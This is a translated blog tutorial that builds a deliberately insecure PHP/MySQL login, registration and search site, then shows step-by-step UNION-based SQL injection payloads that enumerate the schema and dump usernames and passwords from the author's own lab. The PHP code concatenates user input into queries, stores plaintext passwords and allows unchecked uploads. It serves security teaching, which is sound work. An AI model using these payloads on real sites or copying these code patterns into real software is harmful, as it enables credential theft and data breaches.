[Network Security] Preliminary Exploration of SQL Injection Vulnerabilities


foreword

1. Design ideas

If you want to play SQL injection, a simple data interaction page is needed, so we use PHP to make a simple web page, which has three parts: login, registration and home page.

To log in, you need to enter the account password, and wait for the submission to enter the system;

To register, you need to enter your name, password, mobile phone number, photo, and enter the system after waiting for submission;

The home page needs to use the query statement after the linkage between PHP and the database to design a quick ID search page;

After the simple data interaction website is built, we use the loopholes in the parameters submitted by the browser to modify the construction parameters, submit SQL query statements, and pass them to the server to obtain the desired sensitive information.

2. Design purpose

Obtain the website administrator account and login password

insert image description here

1. Rapid website construction

The simplest website has two functions of login and registration, as well as the homepage entered after login. The technology used is HTML+PHP+SQL

1. Login page

Create a new shiyan folder under the root directory, create a new login.php below, first write a big title "Please enter the account number and password", after entering the account number and password, there is a submit button, and use the PHP statement to submit the information Verify, if it is consistent with the information stored in the database, enter the system. If it is inconsistent, the login failure will be returned at the bottom.

Here you need to use the database connection function. For convenience, I write the database connection as a conn.php file and call it directly in login.php.

insert image description here

<?php
	//调用数据库连接文件
	include("conn.php");
	//接收传递的用户名和密码
	$username=$_POST['username'];
	$password=$_POST['password'];
	
	//数据库查询语句
	//判断输入的账号和密码是否与数据库中内容对应
	$uapsql="select user,pass from kkk_tbl where user='$username' and pass='$password';";
	//连接数据库
	$reslust=mysqli_query($conn2,$uapsql);
	// var_dump($reslust);
	// var_dump();

	//登录成功判断
	//加@隐藏报警信息
    if(@mysqli_num_rows($reslust)){
    
    
    	//强制跳转游戏页
        header('Location:youxi.php');
        session_start();
        $_SESSION['login']='true';
    }else{
    
    
        $login = "登录失败";
        $_SESSION['login']='false';
    }
?>

<html>
	<head>
		<meta charset=utf-8>
	</head> 
	<h1>请输入账号以及密码</h1> 
	<form action="" method="post" ></br>
		<input type="text" name="username"> </br>
		<input type="password" name="password"> </br>
		<input type="submit"> 
	</form>
	//添加注册超链接
	<a href="zhuce.php">点击注册</a></br>
//将登录信息显示
<?php echo $login;?>

</html>

2. Registration page

Create a new zhuce.php, the basic frame is the information entered under the form. We pass the input information to PHP for processing, and use the parameters name, password1, pasword2, etc. to receive the values ​​submitted by the user.

Then judge the value passed in, and add some restrictions, such as the password length is 8 digits, and the password must be the same twice, the mobile phone number is 11 digits, and the uploaded photo type is in jpg format.

Use php to make certain restrictions on the above conditions. When they are all established, the registration is successful, and part of the registration information is displayed at the bottom of the form, which is convenient for debugging and troubleshooting.

insert image description here

<head>
	<meta charset="utf-8">
</head>

<?php
	include("conn.php");
	
	$name=$_POST['name'];
	$password1=$_POST['password1'];
	$password2=$_POST['password2'];
	$shouji=$_POST['shouji'];
	$tupian=$_FILES['tupian'];
	$tupianname=$_FILES['tupian']['name'];
	
	// echo $name,$password1,$password2,$shouji,$tupian;
	if($_SERVER["REQUEST_METHOD"] == "POST"){
    
    
	    if(empty($name) || empty($password1) || empty($password2) || empty($shouji)){
    
    
	        $ERR="账号密码、手机号码不能为空";
		//密码长度8位,密码两次输入一致
		//密码验证
		//手机11位
		//文件上传jpg
	    }elseif(strlen($password1)<8){
    
    
	        $ERR="密码长度不足八位";
	    }elseif($password1!=$password2){
    
    
	        $ERR="两次输入密码不一致";
	    }elseif(strlen($shouji)!="11"){
    
    
	        $ERR="手机号码格式有问题";
	    }else{
    
    
	        // echo $_FILES["tupian"]["name"];
	        if (file_exists("tupian/" . $_FILES["tupian"]["name"])){
    
    
	            echo $_FILES["tupian"]["name"] . " 文件已经存在。 ";
	        }else{
    
    
	            // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
	            move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" . $_FILES["tupian"]["name"]);
	            // echo "文件存储在: " . "tupian/" . $_FILES["tupian"]["name"];
	        }
	        $sqlinsert="insert into kkk_tbl(user,pass,phone,file) 
	            value('$name','$password1','$shouji','$tupianname');";
	        var_dump($conn2);
	        if(mysqli_query($conn2, $sqlinsert)){
    
    
	            $ERR="注册成功</br>";
	        }else{
    
    
	            $ERR="注册失败</br>";
	        }; 
	    }
	}
?>

<form action="" method="post" enctype="multipart/form-data" > 
名字:
	<input type="text" name="name" > <br> 
	密码:
	<input type="password" name="password1" ><br> 
	重新输入密码:
	<input type="password" name="password2" ><br> 
	请输入手机号码:
	<input type="passwrd" name="shouji" ><br> 
	上传头像:
	<input type="file" name="tupian" ><br> 
	<input type="submit" value="提交">
</form>
//返回结果
<?php
	echo $ERR;
 	echo "你注册的用户为:".$name."</br>";
 	echo "你注册的手机号码:".$shouji."</br>";
         
?>

<img src="<?php echo "tupian/".$_FILES["tupian"]["name"]; ?>"

3. Database connection page

Similarly, create a new conn.php file, the server is local 127.0.0.1, the database administrator is root, the password is root, and the database name is kkk. Create a database by executing a php statement.

insert image description here

<head>
	<meta charset=utf-8>
</head>
<?php
	$servername = "localhost";
	$username = "root";
	$password = "root";
	$dbname = "kkk";
	
	// 创建连接
	$conn = mysqli_connect($servername, $username, $password);
	$conn2 = mysqli_connect($servername, $username, $password, $dbname);
	
	// 检测连接
	if (!$conn) {
    
    
	    die("连接失败: " . mysqli_connect_error());
	}else{
    
    
	    // echo "数据连接成功</br>";
	    if(mysqli_connect($servername, $username, $password, $dbname)){
    
    
	    // // echo "数据库表已经存在";
	    // $conn2 = mysqli_connect($servername, $username, $password, $dbname);
	    }else{
    
    
		    echo "开始自动创建数据库</br>";
		    $sql = "create DATABASE ".$dbname;
		    mysqli_query($conn, $sql);
		    echo "数据库创建成功</br>";
		    
		    $createtbl="CREATE TABLE IF NOT EXISTS `kkk_tbl`(
		        `id` INT UNSIGNED AUTO_INCREMENT,
		        `user` VARCHAR(10) NOT NULL,
		        `pass` VARCHAR(10) NOT NULL,
		        `phone` VARCHAR(11) NOT NULL,
		        `file` VARCHAR(30) ,
		        PRIMARY KEY ( `id` )
		     )ENGINE=InnoDB DEFAULT CHARSET=utf8;";
		     
		     $conn2 = mysqli_connect($servername, $username, $password, $dbname);
		     mysqli_query($conn2, $createtbl);
		     echo "数据表创建成功</br>";
	    }
	}
// mysqli_close($conn);
?>

4. Home page (jump here after login)

Create a new youxi.php file with simple function design, mainly using SQL query to display user name and user ID.

At the top of the homepage design, echo the session information prompt after login (convenient for debugging bugs, can be deleted), a title in the middle, and a hyperlink to the query page.

insert image description here

Why is it unnecessary to design a session information? The main reason is that there are logical loopholes in this page, that is, infiltrators can access it without logging in. Therefore, users cannot view the content of this page without the authentication that the session is true.

insert image description here

<?php
	include('session.php');
?>

<html>
	<head>
		<mate charset="utf-8">
	    <h1>游戏页面</h1>
	    <a href="select.php">点击查找账号以及ID的对应关系</a>
	</head>
</html>

5. session page

Create a new session.php
to detect the login status of the login page. If it is true, the login is successful, and if it is false, the next page of the login page cannot be accessed.

<?php
	session_start();
	echo $_SESSION["login"];
	if ($_SESSION["login"] == true) {
    
    
	    echo "您已经成功登陆<a href='zhuxiao.php'>点击注销</a>";
	} else {
    
    
	    $_SESSION["login"] == false;
	    die("您无权访问,<a href='login.php'>点击跳转登录页面</a>");
	}
?>

6. Logout page

New zhuxiao.php

If you want to log out completely after logging in, you need to log out the status of the session and set it to false. Force go to login page after destroying.

<?php
	session_start();
	$_SESSION["login"]='false';
	session_destroy();
	header('Location:login.php');

?>

7. Query page

The newly created select.php
query needs to use the database, so the conn.php database connection file is called. The query function is part of the home page, so it needs to be given session permission to call the session.php file.

It will return the id and user information queried from the database table to the bottom display, and the prompt information above the title is also for faster debugging

insert image description here

<?php
	include('conn.php');
	include('session.php');
	
	$chaxun=$_GET['chaxun'];
	
	if(is_numeric($chaxun)){
    
    
	    $chaxun = "id = $chaxun;";
	}else{
    
    
	    $chaxun = "user = '$chaxun';";
	}
	
	$chaxun="select * from kkk_tbl where $chaxun;";
	echo $chaxun;
	// echo $chaxun;
	$lianjie=mysqli_query($conn2,$chaxun);
	$row=@mysqli_fetch_assoc($lianjie);
	$user=$row['user'];
	$id=$row['id'];
	// var_dump($lianjie);
	// while($row=mysqli_fetch_assoc($lianjie)){
    
    
	//     $user=$row['user'];
	//     $pass=$row['pass'];
	//     $phone=$row['phone'];
	//     echo "user:".$user."</br>"."pass:".$pass."</br>"."phone:".$phone."</br>";
	// }
?>

<html>
<head>
<mate charset="utf-8">
    <h1>请输入你要查询的id或者账号名字</h1>
    <form action="#" method="get">
        <input type="text" name="chaxun"> 
        <input type="submit" > 
    </form>
<?php
echo "id:".$id."</br>"."user:".$user."</br>";
?>
</head>
</html>

8. Database

I am using mysql5.7 here, and I can see the information in the table more intuitively by logging in from the command line

insert image description here

2. Example of SQL injection (small test)

Simply practice the principle of SQL vulnerability injection, which has no practical value.

1. Guess the vulnerability logic

Take the php webpage in the website as an example. In the source code of the browser, you can see that the website uses PHP for data interaction.

The only values ​​that can be entered on the web page are id and user, so it is guessed that the id and user passed by the browser will be assigned to a new variable in the PHP code.

insert image description here

Because we, as developers, know the implementation logic of the webpage, we can do SQL injection by changing the value of $chaxun during the transmission process. For other unfamiliar web pages, the code logic still needs to keep trying to guess.

insert image description here

The core of SQL injection is to operate database statements through the value-passing interface to achieve our expected results.

2. Guess the number of fields

You will find that the SQL statement structure in the web page is like this

One idea of ​​​​injection is to use ' and --+ or # to comment the useless content, and pass the statement we want to query.

insert image description here

After finding the point of SQL injection, guess that most of the fields use order by, sort them to get the number of fields

1st attempt

Enter the following statement in the text input box to replace the previous value

admin'order by 1

No result, it was found that extra single quotes affect the execution of the statement
insert image description here

2nd attempt

We will use some characteristics of SQL statements to annotate them to eliminate the impact

admin'order by 1 or '1'='1

It can be seen that the result returns id and user name, which proves that the statement can realize the sorting operation after commenting out the following content

insert image description here
Next, we use this breakthrough to make multiple attempts to determine the number of fields

3rd attempt

admin' order by 2#'

Sort statement takes effect
insert image description here

4th attempt

admin' order by 3#'

Sort statement takes effect
insert image description here

5th attempt

admin' order by 4#'

Sort statement takes effect

insert image description here

6th attempt

admin' order by 5#'

Sort statement takes effect

insert image description here

7th attempt

admin' order by 6#'

The sorting statement is invalid, indicating that there are only 5 fields in the table

insert image description here

After several attempts, we determined the number of fields, and then we need field positions and names

3. Guess the field name

We use the query statement to find the location of the echo

1st attempt

admin'union select 1,2,3,4,5#'

The return is as expected, but the position of the field cannot be determined
insert image description here

2nd attempt

We change admin to a null value, so that after passing the value, the id and user will be represented by numbers in 12345, and then the field position can be determined

-admin'union select 1,2,3,4,5#'

Description, the first field is id, the second field is user

insert image description here

4. Guess the database name

Since the exact positions of id and user have been obtained above, we only need to replace them with two output functions at the corresponding positions to get the result

1st attempt

-admin'union select user(),database(),3,4,5#'

It is concluded that the database name is kkk, and the database user is the local root
insert image description here

Our purpose is to get the account number and password . Now we know the library name kkk, the user root of the library, the table in the library has five fields and the first field is id, and the second field is user name

But where is the password field and what is the content? We don't know

So we inject into the database table

5. Guess the database table

To guess the content under the corresponding password field in the table, we must first know what the table name is

Here we need to use a special table in the database, information_schema.tables is a special table, which stores all the tables in the database

select * from information_schema.tables;

Executed in the database command line, the returned result is like this

insert image description here

But we can't enter the database console now, we can only use the grammatical loopholes in the query statement to return what we want by injecting sql statements

1st attempt

Query all the contents of the tables under the kkk database

-admin'union select user(),database(),3,4,5 from information_schema.tables where TABLE_SCHEMA="kkk";#'

The return result did not meet expectations

insert image description here

If you look carefully, you will find that our injection statement does not specify the specific information in the table to be searched, and the search condition cannot accurately locate the table

2nd attempt

So we change the first user() function and the second database() function to 1 and the table name table_name, so that after executing this statement, the server will return the table name according to table_name.

-admin'union select 1,table_name,3,4,5 from information_schema.tables where TABLE_SCHEMA="kkk";#'

As you can see, the table name is kkk_tbl

insert image description here

Now we know the table name, the first two field names of the table, but how to get the remaining fields, we need to guess the remaining field names

3rd attempt

Use the same method to query the remaining fields, let it output the column name colum_name in the second place, that is, the field name

-admin'union select 1,column_name,3,4,5 from information_schema.columns where TABLE_name="kkk_tbl";#'

It turns out that the output content is only the first id in the field, and the remaining 4 fields are not displayed
insert image description here

4th attempt

Therefore, we need to optimize the SQL injection statement and return all the returned values ​​in the form of strings in the second place of the field. Use the group_concat() function to achieve

-admin'union select 1,group_concat(column_name),3,4,5 from information_schema.columns where TABLE_name="kkk_tbl";#'

The results output the names of five fields, namely id, user, pass, phone, file

insert image description here

So far, we know the database name kkk, the database user root, the table name kkk_tbl, the number of fields in the table is 5, and the field names are id, user, pass, phone, and file.

Only one step away from obtaining the password

After learning that the third field in the table is a password, we use the same method to try

5th attempt (password blasting success)

Use the group_concat() function to output all user and password values ​​under the table

-admin'union select 1,group_concat(user,pass),3,4,5 from kkk_tbl;#'

The results are as expected, two users, admin and 111, passwords are 123456 and 12345678 respectively
insert image description here

Let's check the correctness of the data on the command line

insert image description here

complete match

Guess you like

Origin blog.csdn.net/weixin_48701521/article/details/131500719